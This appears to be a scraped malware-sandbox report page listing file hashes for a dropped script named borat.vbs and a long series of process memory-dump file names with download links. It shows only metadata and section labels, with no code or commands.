Size 1KB
SHA256 fc84706e03d42d3d8ef33843414e76e555e4801632a46a0c3663681b5e6f132d
MD5 40cd81782654e2b323a01cff402a5434
SHA1 1aa7d3f2dc6da1f9e47f39ed26d0fe620a9a421b
SHA512 9a79e8c9b0d37be293ef46ac58e9a4ea273928a054f1b1afe6e75555875183d8dbc1460a03b9b57bb1073476ffd5da21f2b45763ca7783ae25e7608d4178a2b6
TLSH
T1CB31C9598A2E44897C79C4FDB51406C18C27BE90BBF425BF60B152F50DA3EE4AA9C310
MD5 SHA1 SHA512 TLSH

Submit Download

borat.vbs

Path C:\Users\Public\borat.vbs
Size 2KB
SHA256 fcdb9d25f3ac3878417786ff112d28e6bca8a93c1afded456fb0be735dcea260
MD5 23e62ac49eb1cd4f43c83b5f61bf52cc
SHA1 57c2704d635cb5c097505dbd43fefef7240f9091
SHA512 cc9a6157b045355b35698b201434f52ef0c7c89abe3f43359d7c17ce8ecae11fd6e3b20b2499da33444b2e6740c2b31d2e280a75eed46004c052b0f7bd76c990
TLSH
T1F9417B108FB5B9C8077CF264E8085F9F21846E6ADFB13B94C9022CA51E5A791DF4A34D
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3972-1-0x0000025CE0C10000-0x0000025CE0C20000-memory.dmp

Download

memory/3972-0-0x0000025CDDAA0000-0x0000025CDEEA8000-memory.dmp

Download

memory/3972-2-0x0000025CE0C10000-0x0000025CE0C20000-memory.dmp

Download

memory/4860-6702-0x0000022105B80000-0x0000022105B81000-memory.dmp

Download

memory/4860-6712-0x0000022105B80000-0x0000022105B81000-memory.dmp

Download

memory/4860-6709-0x0000022105B80000-0x0000022105B81000-memory.dmp

Download

memory/4860-6710-0x0000022105B80000-0x0000022105B81000-memory.dmp

Download

memory/4860-6707-0x0000022105B80000-0x0000022105B81000-memory.dmp

Download

memory/4860-6711-0x0000022105B80000-0x0000022105B81000-memory.dmp

Download

memory/4860-6700-0x0000022105B80000-0x0000022105B81000-memory.dmp

Download

memory/4860-6701-0x0000022105B80000-0x0000022105B81000-memory.dmp

Download

memory/4860-6708-0x0000022105B80000-0x0000022105B81000-memory.dmp

Download

memory/5180-6615-0x00000223BC640000-0x00000223BC662000-memory.dmp

Download

memory/5180-6623-0x00000223BD480000-0x00000223BDC26000-memory.dmp

Download

memory/5548-6699-0x0000000000AF0000-0x0000000000AF8000-memory.dmp

Download

memory/5676-6597-0x0000025B6D020000-0x0000025B6D02A000-memory.dmp

Download

memory/5676-6598-0x0000025B6EA10000-0x0000025B6EA22000-memory.dmp

Download

memory/5868-6646-0x0000020F66F40000-0x0000020F66F41000-memory.dmp

Download

memory/5868-6645-0x0000020F66F40000-0x0000020F66F41000-memory.dmp

Download

memory/5868-6648-0x0000020F66F40000-0x0000020F66F41000-memory.dmp

Download

memory/5868-6641-0x0000020F66F40000-0x0000020F66F41000-memory.dmp

Download

memory/5868-6639-0x0000020F66F40000-0x0000020F66F41000-memory.dmp

Download

memory/5868-6647-0x0000020F66F40000-0x0000020F66F41000-memory.dmp

Download

memory/5868-6640-0x0000020F66F40000-0x0000020F66F41000-memory.dmp

Download

memory/5868-6649-0x0000020F66F40000-0x0000020F66F41000-memory.dmp

Download

memory/5868-6651-0x0000020F66F40000-0x0000020F66F41000-memory.dmp

Download

memory/5868-6650-0x0000020F66F40000-0x0000020F66F41000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads